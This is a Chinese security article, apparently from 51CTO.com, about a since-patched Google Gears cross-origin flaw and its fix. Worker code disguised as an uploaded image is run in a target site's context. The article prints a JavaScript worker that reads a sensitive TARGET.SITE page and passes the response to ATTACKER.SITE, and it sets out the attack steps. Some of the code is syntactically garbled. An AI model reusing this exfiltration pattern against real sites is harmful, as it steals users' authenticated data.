googlegears:入侵Google  Gears的跨域通信模型

来源:51CTO.com  

Google Gears是个开源产品它能够开发用于离线使用网页应用目前它已经得到许多站点支持Google Gears特色的是支持跨域通信而本文则向读者介绍针对Google Gears跨域通信模型个漏洞攻击思路方法 、有关Google Gears

Google Gears是个著名RIA基础设施被Google广泛用于各种服务如Google Docs和Google Reader同时还可以用于非Google提供服务如MySpace、Zoho Writer以及WordPressGears实际上是个浏览器扩展使得开发人员可以用来提供更丰富网络应用并提高网络应用响应速度Gears关键特性的是能够透明地创建既可以在线使用又可以离线使用网络应用
此外Gears还具有以下特性:

个本地服务器用以在本地缓存Cache和提供应用资源(HTML、JavaScript、图片等) 无需连接服务器即可访问这些资源

数据库在浏览器内部保存和访问数据

工作人员线程池通过在后台执行费时操作使应用响应更加迅速

HttpRequest应用接口实现了W3C XMLHttpRequest规范标准个子集

个Geolocation应用接口使Web 应用能够获得用户地理位置

以上介绍说明引自Google Gears官方文档实际上Gears最妙地方的在于对它使用方式即可以通过在网络应用HTML代码中插入JavaScript来Gears应用接口因此Gears独特的处在于它可以很轻松平滑地集成到现有网络应用的中对于Google Gears详尽解释以及使用方法范例可以参考Google Gears网站WebSite“如何入门?”

就像其它RIA基础设施Google Gears也为开发人员提高了跨域通信能力这些能力对于开发人员来说是非常重要能够使得他们在实现mashup及其他所希望特性时变得更加轻松然而跨域通信对于安全性来说则有些不利影响个粗劣实现可能导致攻击者得以突破同源策略并导致大规模攻击事件所以这种漏洞会导致灾难性后果
不久的前人们发现Google Gears跨域通信安全模型还不够坚固在某些情况下可以轻而易举地绕过此安全模型好在Google已经对此进行了改进所以将此漏洞暴露出来也不算为过了

2、Gears跨域通信实现

让我们假定我们是web开发人员并且在http://Some.Site/建立了个网页该页面会收集用户在http://Another.Site/经认证会话中收集有关信息这些事情完全可以通过Google GearsWorkerPool应用接口来完成你只要利用createWorkerFromUrl(scriptUrl)思路方法加载个Google Gears“工作人员”就行了所谓Google Gears“工作人员”实际上就是段JavaScript代码用于访问Google Gears提供功能部件如本地服务器、Http通信以及数据库等

Google Gears“工作人员”可以从远程域载入但是必须首先allowCrossOrigin()思路方法这个可以看作是项安全措施用来防范在未授权情况下远程加载“工作人员”如果个工作人员是从区别域创建那么google.gears.factory所有思路方法都不得用于该工作人员直到allowCrossOrigin为止这可以防止跨站点脚本攻击该攻击可以让攻击者从另个域装入工作人员URL然后向那个工作人员发送恶意消息如“delete-all-data”等allowCrossOrigin思路方法工作人员应该对messageObject.origin进行检查并忽略所有来自非预期域消息

下面描述引自Google Gears官方文档:

如果个工作人员是从区别域创建那么google.gears.factory所有思路方法都不得用于该工作人员直到allowCrossOrigin为止

这可以防止跨站点脚本攻击该攻击可以让攻击者从另个域装入工作人员URL然后向那个工作人员发送恶意消息如“delete-all-data”等

allowCrossOrigin思路方法工作人员应该对messageObject.origin进行检查并忽略所有来自非预期域消息

3、问题所在

这个保护措施似乎是无懈可击然而人们在试用该基础设施时候发现Google Gears工作人员加载器具有个相当混乱策略:它竟然对所加载Gears工作人员文件报头视而不见!这实际上是为恶意攻击开了扇后窗使得攻击者能够借此在目标网站WebSite上植入恶意Gears工作人员代码例如可以上载具有图像后缀文件而实际上文件中包含却是Gears工作人员代码稍后Google Gears工作人员加载器会从其他Do执行上下文中加载这些文件而web服务器却将其作为图像文件对待!

因此攻击者可以籍此规避甚至破坏包含用户内容站点(论坛、web邮件、社交网络等等)安全限制事实上就连那些非常著名服务也很容易受到上面所说思路方法攻击此外由于Gears工作人员代码中没有包含具体“危险”所以使得各站点难以防御如下所示基于Google Gears跨域访问攻击

Google Gears工作人员代码举例如下:

var wp = google.gears.workerPool;
wp.allowCrossOrigin;
wp.onmessage = function(a, b, message) {
var request = google.gears.factory.create('beta.httprequest');
request.open('GET', 'http://TARGET.SITE/SENSITIVE_PAGE.htm');

request.onreadystatechange = function {
(request.readyState 4) {
wp.sendMessage("The response was: " +
request.responseText, message.sender);
}
};
request.send;
}





上述脚本用于从http://TARGET.SITE抓取信息并利用Google Gears内建通信应用接口将捕获信息传递给该脚本远程



4、攻击流程

⒈ 攻击者创建个包含恶意Google Gears命令文本文件这些命令可以用来访问数据库、使用HttpRequest模块等等

⒉ 攻击者设法将文本内容植入目标域例如 http://TARGET.SITE/Upload/innocent.jpg Gears“工作人员”代码并没有包含可疑如〈、〉等等因此它被http://TARGET.SITE服务器端过滤掉可能性不大

⒊ 攻击者创建http://ATTACKER.SITE/attack.html页面其中存放有些Google Gears代码这些代码将用于加载并执行http://TARGET.SITE/Upload/innocent.jpg

⒋ 在本例中嵌入到innocent.jpg中代码会在http://TARGET.SITE 上下文中加以执行因此它有权访问Google Gears客户端对象诸如数据库、本地服务器数据以及各种web资源为此它可以使用Google Gears内置HttpRequest模块来达此目

⒌ 在前面收集所有信息可以很轻松地利用Google Gears标准通信机制反馈给http://ATTACKER.SITE

需要注意虽然http://ATTACKER.SITE必须使用Google Gears但是http://TARGET.SITE却可以是任意寄放有用户创建内容站点而根本不必使用Google Gears

5、修补措施

目前Google Gears新发布版本已经修补了上述漏洞具体修补思路方法是为Googl Gears设置个专门内容类型报头值(application/x-gears-worker)当web服务器提供Googl Gears工作人员代码文件时必须发送该值 如果没有该值就会拒绝加载该工作人员文件

虽然这个解决方案看上去很不错但是却面临轻微向后兼容性问题使用Google GearsWeb开发人员应当意识到这个修补方案要求他们做些相应修改例如为提供Google Gears工作人员Web服务器中创建个专门规则等等要了解有关上面描述安全限制更多信息请参考Googl Gears跨域工作人员相关文档

6、小结

Google Gears是个开源产品它能够开发用于离线使用网页应用目前它已经得到许多站点支持Google Gears特色的是支持跨域通信而本文则向读者介绍针对Google Gears跨域通信模型个漏洞攻击思路方法Google Gears安全小组提供解决方案在修补该漏洞过程中Google Gears安全小组对于该问题迅速响应以及提供有效处理思路方法给人们留下了深刻印象

 



Tags:  gearsofwar gears googlegears是什么 googlegears

延伸阅读

最新评论

发表评论